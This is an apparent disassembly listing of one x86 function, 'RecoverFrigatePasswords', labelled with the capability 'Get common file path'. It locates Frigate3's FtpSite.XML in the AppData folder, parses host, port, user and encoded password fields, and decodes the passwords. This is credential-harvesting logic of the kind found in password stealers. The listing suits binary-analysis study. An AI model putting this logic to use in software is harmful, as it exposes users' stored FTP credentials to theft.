Function at 0x42b957
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6d74
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x177f]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x1780], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x1f4f]
mov byte [ebp - 0x1f50], 0
push 0
push eax
call fcn.00626f50
mov esi, str.FtpSite.XML
lea edi, [ebp - 0x10]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x42b9f9
lea eax, [ebp - 0x1f50]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42b9ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverFrigatePasswords
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x42bea9
mov eax, str._sFrigate3_s
lea ebx, [ebp - 0x1f50]
jmp 0x42b9fe
mov eax, 0x66c218
lea ecx, [ebp - 0x10]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x1780]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x1780]
push eax
push str._n_Final_file_path_is____s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0x1780]
xor ebx, ebx
push eax
lea eax, [ebp - 0x6d74]
mov dword [ebp - 0x6d74], ebx
push eax
call fcn.00632119
add esp, 0x28
test eax, eax
jne 0x42be98
cmp dword [ebp - 0x6d74], ebx
je 0x42be98
lea esi, [edi - 1]
mov byte [ebp - 0x1398], bl
push esi
lea eax, [ebp - 0x1397]
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xbc7]
mov byte [ebp - 0xbc8], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xfaf]
mov byte [ebp - 0xfb0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x7df]
mov byte [ebp - 0x7e0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x3f7]
mov byte [ebp - 0x3f8], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x1b67]
mov byte [ebp - 0x1b68], bl
push ebx
push eax
call fcn.00626f50
add esp, 0x48
jmp 0x42be65
lea eax, [ebp - 0x4660]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x42bb12
lea eax, [ebp - 0x4660]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x42bec2
mov byte [ebp + eax - 0x4660], bl
lea eax, [ebp - 0x4660]
push eax
call fcn.00449bad
lea eax, [ebp - 0x4660]
push eax
call fcn.00449da7
lea eax, [ebp - 0x4660]
push eax
lea eax, [ebp - 0x6d70]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0x6d70]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x6d70]
push eax
call fcn.00631711
push str._item
mov byte [ebp - 0xfb0], bl
mov byte [ebp - 0x3f8], bl
mov byte [ebp - 0x7e0], bl
mov byte [ebp - 0xbc8], bl
mov byte [ebp - 0x1398], bl
call fcn.00631510
push eax
lea eax, [ebp - 0x6d70]
push str._item
push eax
call fcn.006317d8
add esp, 0x30
test eax, eax
jne 0x42be65
lea eax, [ebp - 0x4660]
push eax
push str._n___Found_host_line___s
call fcn.00449974
lea eax, [ebp - 0x6d70]
push str.host
push eax
call fcn.00627320
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42bc36
push str.host
call fcn.00631510
lea ecx, [ebp - 0x6d70]
sub esi, ecx
lea ecx, [ebp - 0x4660]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006270b0
add esp, 0xc
test eax, eax
jne 0x42bc05
push 0x2f
push esi
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x42bc36
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x7e0]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x7e0]
push eax
call fcn.00449da7
lea eax, [ebp - 0x7e0]
push eax
push str._n_Found_host_s
call fcn.00449974
add esp, 0x1c
lea eax, [ebp - 0x6d70]
push str.port
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42bcb9
push str.port
call fcn.00631510
lea ecx, [ebp - 0x6d70]
sub esi, ecx
lea ecx, [ebp - 0x4660]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006270b0
add esp, 0xc
test eax, eax
jne 0x42bc88
push 0x2f
push esi
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x42bcb9
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x3f8]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x3f8]
push eax
call fcn.00449da7
lea eax, [ebp - 0x3f8]
push eax
push str._n_Found_port_s
call fcn.00449974
add esp, 0x1c
lea eax, [ebp - 0x6d70]
push str.user
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42bd3c
push str.user
call fcn.00631510
lea ecx, [ebp - 0x6d70]
sub esi, ecx
lea ecx, [ebp - 0x4660]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006270b0
add esp, 0xc
test eax, eax
jne 0x42bd0b
push 0x2f
push esi
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x42bd3c
sub eax, esi
push eax
push esi
lea eax, [ebp - 0xfb0]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0xfb0]
push eax
call fcn.00449da7
lea eax, [ebp - 0xfb0]
push eax
push str._n_Found_user_s
call fcn.00449974
add esp, 0x1c
lea eax, [ebp - 0x6d70]
push str.pass
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42be65
push str.pass
call fcn.00631510
lea ecx, [ebp - 0x6d70]
sub esi, ecx
lea ecx, [ebp - 0x4660]
add esi, ecx
add esi, eax
push 0x20
push esi
call fcn.006270b0
add esp, 0xc
test eax, eax
jne 0x42bd96
push 0x2f
push esi
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x42be65
sub eax, esi
push eax
push esi
lea eax, [ebp - 0xbc8]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0xbc8]
push eax
call fcn.00449da7
lea eax, [ebp - 0xbc8]
push eax
push str._n_Found_encoded_password_s
call fcn.00449974
push edi
lea eax, [ebp - 0x1398]
push eax
lea eax, [ebp - 0xbc8]
push eax
call fcn.00445e29
lea eax, [ebp - 0x1398]
push eax
call fcn.00631510
add esp, 0x2c
test eax, eax
je 0x42be65
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x42be21
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
push str._s:_s
lea eax, [ebp - 0x1b68]
push edi
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x42be38
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0x1b68]
push edi
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
mov esi, 0x66ae5d
lea eax, [ebp - 0x1398]
push esi
push eax
lea eax, [ebp - 0xfb0]
push eax
lea eax, [ebp - 0x1b68]
push eax
push esi
push 0x153
push 4
call fcn.00412c85
add esp, 0x20
push dword [ebp - 0x6d74]
lea eax, [ebp - 0x4660]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x42bae1
push dword [ebp - 0x6d74]
call fcn.00637603
xor eax, eax
pop ecx
inc eax
jmp 0x42beb3
lea eax, [ebp - 0x1780]
push eax
push str.RecoverFrigatePasswords
push str._s_Failed_to_open_file__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3